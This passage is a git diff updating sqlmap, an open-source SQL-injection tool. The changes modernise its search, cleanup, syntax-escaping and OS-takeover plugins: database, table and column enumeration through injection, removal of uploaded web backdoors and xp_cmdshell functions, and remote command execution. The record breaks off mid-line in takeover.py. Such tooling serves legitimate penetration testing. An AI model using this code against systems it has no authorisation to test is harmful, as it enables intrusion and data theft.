a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,19 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import ntpath import re from lib.core.common import Backend from lib.core.common import hashDBWrite -from lib.core.common import isTechniqueAvailable +from lib.core.common import isStackingAvailable from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import posixToNtSlashes from lib.core.common import readInput +from lib.core.common import singleTimeDebugMessage +from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -21,12 +24,10 @@ from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS -from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapNoneDataException from lib.request import inject -class Miscellaneous: +class Miscellaneous(object): """ This class defines miscellaneous functionalities for plugins. """ @@ -35,6 +36,17 @@ def __init__(self): pass def getRemoteTempPath(self): + if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL): + debugMsg = "identifying Microsoft SQL Server error log directory " + debugMsg += "that sqlmap will use to store temporary files with " + debugMsg += "commands' output" + logger.debug(debugMsg) + + _ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False)) + + if _: + conf.tmpPath = ntpath.dirname(_) + if not conf.tmpPath: if Backend.isOs(OS.WINDOWS): if conf.direct: @@ -57,6 +69,8 @@ def getRemoteTempPath(self): conf.tmpPath = normalizePath(conf.tmpPath) conf.tmpPath = ntToPosixSlashes(conf.tmpPath) + singleTimeDebugMessage("going to use '%s' as temporary files directory" % conf.tmpPath) + hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath) return conf.tmpPath @@ -68,47 +82,55 @@ def getVersionFromBanner(self): infoMsg = "detecting back-end DBMS version from its banner" logger.info(infoMsg) - if Backend.isDbms(DBMS.MYSQL): - first, last = 1, 6 - - elif Backend.isDbms(DBMS.PGSQL): - first, last = 12, 6 - - elif Backend.isDbms(DBMS.MSSQL): - first, last = 29, 9 - - else: - raise sqlmapUnsupportedFeatureException, "unsupported DBMS" - - query = queries[Backend.getIdentifiedDbms()].substring.query % (queries[Backend.getIdentifiedDbms()].banner.query, first, last) + query = queries[Backend.getIdentifiedDbms()].banner.query if conf.direct: query = "SELECT %s" % query - kb.bannerFp["dbmsVersion"] = inject.getValue(query) - kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(",", "").replace("-", "").replace(" ", "") + kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query)) or "" + + match = re.search(r"\d[\d.-]*", kb.bannerFp["dbmsVersion"]) + if match: + kb.bannerFp["dbmsVersion"] = match.group(0) + + def delRemoteFile(self, filename): + if not filename: + return - def delRemoteFile(self, tempFile): self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): - tempFile = posixToNtSlashes(tempFile) - cmd = "del /F /Q %s" % tempFile + filename = posixToNtSlashes(filename) + cmd = "del /F /Q %s" % filename else: - cmd = "rm -f %s" % tempFile + cmd = "rm -f %s" % filename self.execCmd(cmd, silent=True) def createSupportTbl(self, tblName, tblField, tblType): inject.goStacked("DROP TABLE %s" % tblName, silent=True) - inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType)) - def cleanup(self, onlyFileTbl=False, udfDict=None): + if Backend.isDbms(DBMS.MSSQL) and tblName == self.cmdTblName: + inject.goStacked("CREATE TABLE %s(id INT PRIMARY KEY IDENTITY, %s %s)" % (tblName, tblField, tblType)) + else: + inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType)) + + def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): """ - Cleanup database from sqlmap create tables and functions + Cleanup file system and database from sqlmap create files, tables + and functions """ - if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: + if web and self.webBackdoorFilePath: + logger.info("cleaning up the web files uploaded") + + self.delRemoteFile(self.webStagerFilePath) + self.delRemoteFile(self.webBackdoorFilePath) + + if (not isStackingAvailable() or kb.udfFail) and not conf.direct: + return + + if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and kb.copyExecTest: return if Backend.isOs(OS.WINDOWS): @@ -133,16 +155,15 @@ def cleanup(self, onlyFileTbl=False, udfDict=None): inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) if Backend.isDbms(DBMS.MSSQL): - return + udfDict = {"master..new_xp_cmdshell": {}} if udfDict is None: - udfDict = self.sysUdfs + udfDict = getattr(self, "sysUdfs", {}) for udf, inpRet in udfDict.items(): message = "do you want to remove UDF '%s'? [Y/n] " % udf - output = readInput(message, default="Y") - if not output or output in ("y", "Y"): + if readInput(message, default='Y', boolean=True): dropStr = "DROP FUNCTION %s" % udf if Backend.isDbms(DBMS.PGSQL): @@ -162,14 +183,14 @@ def cleanup(self, onlyFileTbl=False, udfDict=None): warnMsg += "saved on the file system can only be deleted " warnMsg += "manually" - logger.warn(warnMsg) + logger.warning(warnMsg) def likeOrExact(self, what): message = "do you want sqlmap to consider provided %s(s):\n" % what message += "[1] as LIKE %s names (default)\n" % what message += "[2] as exact %s names" % what - choice = readInput(message, default='1') if not conf.disableLike else '2' + choice = readInput(message, default='1') if not choice or choice == '1': choice = '1' @@ -178,6 +199,6 @@ def likeOrExact(self, what): condParam = "='%s'" else: errMsg = "invalid value" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException(errMsg) return choice, condParam diff --git a/plugins/generic/search.py b/plugins/generic/search.py new file mode 100644 index 00000000000..5ec72f18ff2 --- /dev/null +++ b/plugins/generic/search.py @@ -0,0 +1,640 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.agent import agent +from lib.core.common import arrayizeValue +from lib.core.common import Backend +from lib.core.common import filterPairValues +from lib.core.common import getLimitRange +from lib.core.common import isInferenceAvailable +from lib.core.common import isNoneValue +from lib.core.common import isNumPosStrValue +from lib.core.common import isTechniqueAvailable +from lib.core.common import readInput +from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import safeStringFormat +from lib.core.common import unArrayizeValue +from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.data import queries +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS +from lib.core.enums import EXPECTED +from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import CURRENT_DB +from lib.core.settings import METADB_SUFFIX +from lib.core.settings import UPPER_CASE_DBMSES +from lib.request import inject +from lib.utils.brute import columnExists +from lib.utils.brute import tableExists +from thirdparty import six + +class Search(object): + """ + This class defines search functionalities for plugins. + """ + + def __init__(self): + pass + + def searchDb(self): + foundDbs = [] + rootQuery = queries[Backend.getIdentifiedDbms()].search_db + dbList = conf.db.split(',') + + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + dbCond = rootQuery.inband.condition2 + else: + dbCond = rootQuery.inband.condition + + dbConsider, dbCondParam = self.likeOrExact("database") + + for db in dbList: + values = [] + db = safeSQLIdentificatorNaming(db) + + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + db = db.upper() + + infoMsg = "searching database" + if dbConsider == "1": + infoMsg += "s LIKE" + infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) + logger.info(infoMsg) + + if conf.excludeSysDbs: + exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) + infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) + logger.info(infoMsg) + else: + exclDbsQuery = "" + + dbQuery = "%s%s" % (dbCond, dbCondParam) + dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db) + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + query = rootQuery.inband.query2 + else: + query = rootQuery.inband.query + + query = query % (dbQuery + exclDbsQuery) + values = inject.getValue(query, blind=False, time=False) + + if not isNoneValue(values): + values = arrayizeValue(values) + + for value in values: + value = safeSQLIdentificatorNaming(value) + foundDbs.append(value) + + if not values and isInferenceAvailable() and not conf.direct: + infoMsg = "fetching number of database" + if dbConsider == "1": + infoMsg += "s LIKE" + infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) + logger.info(infoMsg) + + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + query = rootQuery.blind.count2 + else: + query = rootQuery.blind.count + + query = query % (dbQuery + exclDbsQuery) + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if not isNumPosStrValue(count): + warnMsg = "no database" + if dbConsider == "1": + warnMsg += "s LIKE" + warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db) + logger.warning(warnMsg) + + continue + + indexRange = getLimitRange(count) + + for index in indexRange: + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + query = rootQuery.blind.query2 + else: + query = rootQuery.blind.query + + query = query % (dbQuery + exclDbsQuery) + query = agent.limitQuery(index, query, dbCond) + + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + value = safeSQLIdentificatorNaming(value) + foundDbs.append(value) + + conf.dumper.lister("found databases", foundDbs) + + def searchTable(self): + bruteForce = False + + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + errMsg = "information_schema not available, " + errMsg += "back-end DBMS is MySQL < 5.0" + bruteForce = True + + if bruteForce: + message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() + + if choice == 'N': + return + elif choice == 'Q': + raise SqlmapUserQuitException + else: + regex = '|'.join(conf.tbl.split(',')) + return tableExists(paths.COMMON_TABLES, regex) + + foundTbls = {} + tblList = conf.tbl.split(',') + rootQuery = queries[Backend.getIdentifiedDbms()].search_table + tblCond = rootQuery.inband.condition + dbCond = rootQuery.inband.condition2 + tblConsider, tblCondParam = self.likeOrExact("table") + + for tbl in tblList: + values = [] + tbl = safeSQLIdentificatorNaming(tbl, True) + + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + tbl = tbl.upper() + conf.db = conf.db.upper() if conf.db else conf.db + + infoMsg = "searching table" + if tblConsider == '1': + infoMsg += "s LIKE" + infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) + + if conf.db == CURRENT_DB: + conf.db = self.getCurrentDb() + + if dbCond and conf.db: + _ = conf.db.split(',') + whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" + infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) + elif conf.excludeSysDbs: + whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) + msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) + logger.info(msg) + else: + whereDbsQuery = "" + + if dbCond and conf.exclude: + whereDbsQuery += " AND %s NOT LIKE '%s'" % (dbCond, re.sub(r"\.[*+]", '%', conf.exclude._original)) + + logger.info(infoMsg) + + tblQuery = "%s%s" % (tblCond, tblCondParam) + tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + query = rootQuery.inband.query + + query = query % (tblQuery + whereDbsQuery) + values = inject.getValue(query, blind=False, time=False) + + if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): + newValues = [] + + if isinstance(values, six.string_types): + values = [values] + for value in values: + dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" + newValues.append(["%s%s" % (dbName, METADB_SUFFIX), value]) + + values = newValues + + for foundDb, foundTbl in filterPairValues(values): + foundDb = safeSQLIdentificatorNaming(foundDb) + foundTbl = safeSQLIdentificatorNaming(foundTbl, True) + + if foundDb is None or foundTbl is None: + continue + + if foundDb in foundTbls: + foundTbls[foundDb].append(foundTbl) + else: + foundTbls[foundDb] = [foundTbl] + + if not values and isInferenceAvailable() and not conf.direct: + if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): + if len(whereDbsQuery) == 0: + infoMsg = "fetching number of databases with table" + if tblConsider == "1": + infoMsg += "s LIKE" + infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) + logger.info(infoMsg) + + query = rootQuery.blind.count + query = query % (tblQuery + whereDbsQuery) + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if not isNumPosStrValue(count): + warnMsg = "no databases have table" + if tblConsider == "1": + warnMsg += "s LIKE" + warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) + logger.warning(warnMsg) + + continue + + indexRange = getLimitRange(count) + + for index in indexRange: + query = rootQuery.blind.query + query = query % (tblQuery + whereDbsQuery) + query = agent.limitQuery(index, query) + + foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False)) + foundDb = safeSQLIdentificatorNaming(foundDb) + + if foundDb not in foundTbls: + foundTbls[foundDb] = [] + + if tblConsider == "2": + foundTbls[foundDb].append(tbl) + + if tblConsider == "2": + continue + else: + for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),): + db = safeSQLIdentificatorNaming(db) + if db not in foundTbls: + foundTbls[db] = [] + else: + dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" + foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = [] + + for db in foundTbls: + db = safeSQLIdentificatorNaming(db) + + infoMsg = "fetching number of table" + if tblConsider == "1": + infoMsg += "s LIKE" + infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) + logger.info(infoMsg) + + query = rootQuery.blind.count2 + if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): + query = query % unsafeSQLIdentificatorNaming(db) + query += " AND %s" % tblQuery + + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if not isNumPosStrValue(count): + warnMsg = "no table" + if tblConsider == "1": + warnMsg += "s LIKE" + warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) + warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.warning(warnMsg) + + continue + + indexRange = getLimitRange(count) + + for index in indexRange: + query = rootQuery.blind.query2 + + if " ORDER BY " in query: + query = query.replace(" ORDER BY ", "%s ORDER BY " % (" AND %s" % tblQuery)) + elif query.endswith("'%s')"): + query = query[:-1] + " AND %s)" % tblQuery + else: + query += " AND %s" % tblQuery + + if Backend.isDbms(DBMS.FIREBIRD): + query = safeStringFormat(query, index) + + if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): + query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db)) + + if not Backend.isDbms(DBMS.FIREBIRD): + query = agent.limitQuery(index, query) + + foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False)) + if not isNoneValue(foundTbl): + kb.hintValue = foundTbl + foundTbl = safeSQLIdentificatorNaming(foundTbl, True) + foundTbls[db].append(foundTbl) + + for db in list(foundTbls.keys()): + if isNoneValue(foundTbls[db]): + del foundTbls[db] + + if not foundTbls: + warnMsg = "no databases contain any of the provided tables" + logger.warning(warnMsg) + return + + conf.dumper.dbTables(foundTbls) + self.dumpFoundTables(foundTbls) + + def searchColumn(self): + bruteForce = False + + self.forceDbmsEnum() + + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + errMsg = "information_schema not available, " + errMsg += "back-end DBMS is MySQL < 5.0" + bruteForce = True + + if bruteForce: + message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() + + if choice == 'N': + return + elif choice == 'Q': + raise SqlmapUserQuitException + else: + regex = '|'.join(conf.col.split(',')) + conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex)) + + message = "do you want to dump entries? [Y/n] " + + if readInput(message, default='Y', boolean=True): + self.dumpAll() + + return + + rootQuery = queries[Backend.getIdentifiedDbms()].search_column + foundCols = {} + dbs = {} + whereDbsQuery = "" + whereTblsQuery = "" + infoMsgTbl = "" + infoMsgDb = "" + colList = conf.col.split(',') + + if conf.exclude: + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] + + origTbl = conf.tbl + origDb = conf.db + colCond = rootQuery.inband.condition + dbCond = rootQuery.inband.condition2 + tblCond = rootQuery.inband.condition3 + colConsider, colCondParam = self.likeOrExact("column") + + for column in colList: + values = [] + column = safeSQLIdentificatorNaming(column) + conf.db = origDb + conf.tbl = origTbl + + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + column = column.upper() + conf.db = conf.db.upper() if conf.db else conf.db + conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl + + infoMsg = "searching column" + if colConsider == "1": + infoMsg += "s LIKE" + infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) + + foundCols[column] = {} + + if tblCond: + if conf.tbl: + tbls = conf.tbl.split(',') + if conf.exclude: + tbls = [_ for _ in tbls if re.search(conf.exclude, _, re.I) is None] + whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in tbls) + ")" + infoMsgTbl = " for table%s '%s'" % ("s" if len(tbls) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in tbls)) + + if conf.db == CURRENT_DB: + conf.db = self.getCurrentDb() + + if dbCond: + if conf.db: + _ = conf.db.split(',') + whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" + infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) + elif conf.excludeSysDbs: + whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) + msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) + logger.info(msg) + else: + infoMsgDb = " across all databases" + + if conf.exclude: + whereDbsQuery += " AND %s NOT LIKE '%s'" % (dbCond, re.sub(r"\.[*+]", '%', conf.exclude._original)) + + logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) + + colQuery = "%s%s" % (colCond, colCondParam) + colQuery = colQuery % unsafeSQLIdentificatorNaming(column) + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + if not all((conf.db, conf.tbl)): + # Enumerate tables containing the column provided if + # either of database(s) or table(s) is not provided + query = rootQuery.inband.query + query = query % (colQuery + whereDbsQuery + whereTblsQuery) + values = inject.getValue(query, blind=False, time=False) + else: + # Assume provided databases' tables contain the + # column(s) provided + values = [] + + for db in conf.db.split(','): + for tbl in conf.tbl.split(','): + values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)]) + + for db, tbl in filterPairValues(values): + db = safeSQLIdentificatorNaming(db) + tbls = tbl.split(',') if not isNoneValue(tbl) else [] + + for tbl in tbls: + tbl = safeSQLIdentificatorNaming(tbl, True) + + if db is None or tbl is None: + continue + + conf.db = db + conf.tbl = tbl + conf.col = column + + self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) + + if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: + if db not in dbs: + dbs[db] = {} + + if tbl not in dbs[db]: + dbs[db][tbl] = {} + + dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) + + if db in foundCols[column]: + foundCols[column][db].append(tbl) + else: + foundCols[column][db] = [tbl] + + kb.data.cachedColumns = {} + + if not values and isInferenceAvailable() and not conf.direct: + if not conf.db: + infoMsg = "fetching number of databases with tables containing column" + if colConsider == "1": + infoMsg += "s LIKE" + infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) + logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) + + query = rootQuery.blind.count + query = query % (colQuery + whereDbsQuery + whereTblsQuery) + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if not isNumPosStrValue(count): + warnMsg = "no databases have tables containing column" + if colConsider == "1": + warnMsg += "s LIKE" + warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) + logger.warning("%s%s" % (warnMsg, infoMsgTbl)) + + continue + + indexRange = getLimitRange(count) + + for index in indexRange: + query = rootQuery.blind.query + query = query % (colQuery + whereDbsQuery + whereTblsQuery) + query = agent.limitQuery(index, query) + + db = unArrayizeValue(inject.getValue(query, union=False, error=False)) + db = safeSQLIdentificatorNaming(db) + + if db not in dbs: + dbs[db] = {} + + if db not in foundCols[column]: + foundCols[column][db] = [] + else: + for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),): + db = safeSQLIdentificatorNaming(db) + if db not in foundCols[column]: + foundCols[column][db] = [] + + origDb = conf.db + origTbl = conf.tbl + + for column, dbData in foundCols.items(): + colQuery = "%s%s" % (colCond, colCondParam) + colQuery = colQuery % unsafeSQLIdentificatorNaming(column) + + for db in dbData: + conf.db = origDb + conf.tbl = origTbl + + infoMsg = "fetching number of tables containing column" + if colConsider == "1": + infoMsg += "s LIKE" + infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), unsafeSQLIdentificatorNaming(db)) + logger.info(infoMsg) + + query = rootQuery.blind.count2 + if not re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""): + query = query % unsafeSQLIdentificatorNaming(db) + query += " AND %s" % colQuery + else: + query = query % colQuery + + query += whereTblsQuery + + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if not isNumPosStrValue(count): + warnMsg = "no tables contain column" + if colConsider == "1": + warnMsg += "s LIKE" + warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(column) + warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.warning(warnMsg) + + continue + + indexRange = getLimitRange(count) + + for index in indexRange: + query = rootQuery.blind.query2 + + if re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""): + query = query % (colQuery + whereTblsQuery) + elif query.endswith("'%s')"): + query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery) + elif " ORDER BY " in query: + query = query.replace(" ORDER BY ", " AND %s ORDER BY " % (colQuery + whereTblsQuery)) + else: + query += " AND %s" % (colQuery + whereTblsQuery) + + query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db)) + query = agent.limitQuery(index, query) + + tbl = unArrayizeValue(inject.getValue(query, union=False, error=False)) + kb.hintValue = tbl + + tbl = safeSQLIdentificatorNaming(tbl, True) + + conf.db = db + conf.tbl = tbl + conf.col = column + + self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) + + if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: + if db not in dbs: + dbs[db] = {} + + if tbl not in dbs[db]: + dbs[db][tbl] = {} + + dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) + + kb.data.cachedColumns = {} + + if db in foundCols[column]: + foundCols[column][db].append(tbl) + else: + foundCols[column][db] = [tbl] + + if dbs: + conf.dumper.dbColumns(foundCols, colConsider, dbs) + self.dumpFoundColumn(dbs, foundCols, colConsider) + else: + warnMsg = "no databases have tables containing any of the " + warnMsg += "provided columns" + logger.warning(warnMsg) + + def search(self): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + for item in ('db', 'tbl', 'col'): + if getattr(conf, item, None): + setattr(conf, item, getattr(conf, item).upper()) + + if conf.col: + self.searchColumn() + elif conf.tbl: + self.searchTable() + elif conf.db: + self.searchDb() + else: + errMsg = "missing parameter, provide -D, -T or -C along " + errMsg += "with --search" + raise SqlmapMissingMandatoryOptionException(errMsg) diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 364ebc2bac8..5da7b985298 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,13 +1,19 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapUndefinedMethod +import re -class Syntax: +from lib.core.common import Backend +from lib.core.convert import getBytes +from lib.core.data import conf +from lib.core.enums import DBMS +from lib.core.exception import SqlmapUndefinedMethod + +class Syntax(object): """ This class defines generic syntax functionalities for plugins. """ @@ -16,13 +22,29 @@ def __init__(self): pass @staticmethod - def unescape(expression, quote=True): - errMsg = "'unescape' method must be defined " - errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + def _escape(expression, quote=True, escaper=None): + retVal = expression + + if quote: + for item in re.findall(r"'[^']*'+", expression): + original = item[1:-1] + if original: + if Backend.isDbms(DBMS.SQLITE) and "X%s" % item in expression: + continue + if re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker + replacement = escaper(original) if not conf.noEscape else original + + if replacement != original: + retVal = retVal.replace(item, replacement) + elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): + retVal = retVal.replace("'%s'" % original, "n'%s'" % original) + else: + retVal = escaper(expression) + + return retVal @staticmethod - def escape(expression): + def escape(expression, quote=True): errMsg = "'escape' method must be defined " - errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + errMsg += "inside the specific DBMS plugin" + raise SqlmapUndefinedMethod(errMsg) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 512cbc97f73..eda399e614c 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,49 +1,52 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os from lib.core.common import Backend -from lib.core.common import isTechniqueAvailable +from lib.core.common import getSafeExString +from lib.core.common import isDigit +from lib.core.common import isStackingAvailable +from lib.core.common import openFile from lib.core.common import readInput from lib.core.common import runningAsAdmin from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS -from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapMissingDependence -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapMissingPrivileges -from lib.core.exception import sqlmapNotVulnerableException -from lib.core.exception import sqlmapUndefinedMethod -from lib.core.exception import sqlmapUnsupportedDBMSException +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapMissingPrivileges +from lib.core.exception import SqlmapNotVulnerableException +from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapUndefinedMethod +from lib.core.exception import SqlmapUnsupportedDBMSException from lib.takeover.abstraction import Abstraction from lib.takeover.icmpsh import ICMPsh from lib.takeover.metasploit import Metasploit from lib.takeover.registry import Registry -from plugins.generic.misc import Miscellaneous - -class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): +class Takeover(Abstraction, Metasploit, ICMPsh, Registry): """ This class defines generic OS takeover functionalities for plugins. """ def __init__(self): - self.cmdTblName = "sqlmapoutput" + self.cmdTblName = ("%soutput" % conf.tablePrefix) self.tblField = "data" Abstraction.__init__(self) def osCmd(self): - if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct: + if isStackingAvailable() or conf.direct: web = False - elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and Backend.isDbms(DBMS.MYSQL): + elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command execution" logger.info(infoMsg) @@ -51,20 +54,21 @@ def osCmd(self): else: errMsg = "unable to execute operating system commands via " errMsg += "the back-end DBMS" - raise 